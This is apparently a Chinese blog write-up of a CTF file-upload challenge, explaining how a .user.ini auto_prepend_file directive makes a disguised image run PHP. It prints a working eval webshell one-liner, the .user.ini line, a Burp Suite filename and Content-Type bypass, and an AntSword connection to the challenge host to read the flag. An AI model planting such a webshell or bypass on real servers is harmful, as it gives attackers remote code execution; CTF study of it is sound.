CTF之文件上传(.user.ini)

.user.ini 本身不是漏洞,但它经常被攻击者利用来实施攻击,属于配置滥用或权限提升类型的安全问题。

具体的攻击手法:

攻击者最常利用的是 auto_prepend_fileauto_append_file 这两个指令。

攻击步骤:

  1. 找到入口:攻击者先通过其他漏洞(如程序漏洞、弱密码等)获得在网站目录上传文件的权限。

  2. 上传恶意文件 :上传一个包含后门代码的图片或文本文件,比如 evil.jpg,内容其实是 <?php @eval($_REQUEST['cmd']); ?>

  3. 创建或修改.user.ini :在上传目录创建或修改 .user.ini 文件,内容为:

  4. auto_prepend_file = evil.jpg

  5. 后果 :现在该目录下的每一个PHP文件在执行时,都会自动先执行 evil.jpg 中的恶意代码,攻击者就获得了整个目录的控制权。


CTF之文件上传:利用.user.ini文件获取控制权限

1.看到这个题目,就知道要上传图片来获取权限

2.这时我构造了一个带有恶意代码的图片文件,命名为a.jpg,但是直接上传是不可能获取权限的,服务器看到.jpg, .txt, .html这些扩展名,会认为它们是静态文件(图片、文本、网页),它会直接读取文件的内容,并发送给浏览器,不会调用 PHP 解释器。

这时.user.ini配置文件就起作用了,PHP 解释器开始工作前,先读取并应用了目录下的.user.ini配置文件,利用.user.ini的 auto_prepend_file 指令,将一个本不会被执行的图片木马(a.jpg)变成在每个 PHP 文件执行前都会自动运行的前置文件,从而劫持整个目录的执行流程。它先要去执行a.jpg 文件,虽然 a.jpg扩展名是 .jpg,但此时它是在 PHP 解释器内部被包含的,PHP 解释器不在乎文件扩展名,它只认文件内容里的 <?php ?> 标签。于是,它成功地执行了a.jpg里的后门代码 eval($_REQUEST['a'])。(a是下面蚁剑连接网站的参数)

3.因为系统无法将文件命名为.user.ini,只能暂时命名为user.ini,所以需要burpsuite拦截请求,将文件名改为.user.ini,并且将Content-type改为image/jpg类型才能被上传。

这时.user.ini就上传成功了

而a.jpg本来就是image/jpg类型,肯定能直接上传

4.蚁剑连接http://61.147.171.35:53191/uploads/index.php(不是直接连接 a.jpg,而是连接一个该目录下肯定存在的正常 PHP 文件(index.php)),并设置参数为a(这个密码对应木马代码中的 $_REQUEST['a'] 的参数名)。

连接时

  1. (1)当你点击"测试连接"时,蚁剑向 http://61.147.171.35:53191/uploads/index.php 发送一个 HTTP 请求。

  2. (2)服务器准备执行 /uploads/index.php

  3. (3)在执行前,PHP 引擎读取并应用了 /uploads/ 目录下的 .user.ini 设置。根据 auto_prepend_file=a.jpg 指令,PHP 引擎首先去包含并执行 a.jpg 文件。PHP 解释器会解析 a.jpg 中的 <?php ... ?> 标签,于是 eval($_REQUEST['a']) 这行代码被执行。

  4. (5)此时,蚁剑发送的请求中正好携带了参数 a,其值是一段经过 Base64 编码的、用于测试连接的 PHP 代码(比如执行系统命令,列出当前目录的所有文件和详细信息)。eval 函数执行了这段代码,并将结果返回给蚁剑。

  5. (6)蚁剑收到响应,确认后门生效,显示"连接成功"。

获取权限后的操作

  1. 连接成功后,蚁剑的界面(如截图所示)就变成了一个可视化的文件管理器。可以像操作本地文件夹一样,浏览服务器上的文件,最终找到并打开 /flag 文件,获取到flag内容,完成题目。
相关推荐
AOwhisky2 小时前
Linux(CentOS)系统管理入门笔记(第二十一期)——防火墙管理(Firewalld)——zone、服务端口、富规则与端口转发
linux·运维·笔记·安全·centos·防火墙
笨鸟先飞,勤能补拙8 小时前
AI 赋能网络安全:技术全景、成熟度评估与实战案例
人工智能·python·安全·web安全·网络安全·sqlite·github
加密狗复制模拟9 小时前
使用x64dbg进行超级狗super dog 加密狗逆向分析复制 超级狗克隆备份
安全·软件工程·个人开发·同态加密
ZeroNews内网穿透9 小时前
内网部署企业知识库,通过 HTTPS 隧道实现异地安全访问
安全·内网穿透
笨鸟先飞,勤能补拙11 小时前
AI 赋能网络安全领域深度剖析
网络·人工智能·windows·安全·web安全·网络安全·github
HackTwoHub11 小时前
轻量化AI渗透武器库|ARTEX自主攻防系统、资产梳理、漏洞挖掘、链路分析全流程智能化落地
人工智能·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
流浪法师1212 小时前
GA/T 2380-2026《信息安全技术 网络安全等级保护数据安全基本要求》深度解读
安全
BEOL贝尔科技14 小时前
样本安全存储中还有哪些重要因素需要考虑?如何设置样本安全?
人工智能·安全·数据分析
卓豪终端管理14 小时前
零信任落地,终端是「最后一公里」也是「最难一公里」
安全
RisunJan16 小时前
Linux命令-shutdown(安全关闭或重启系统)
linux·服务器·安全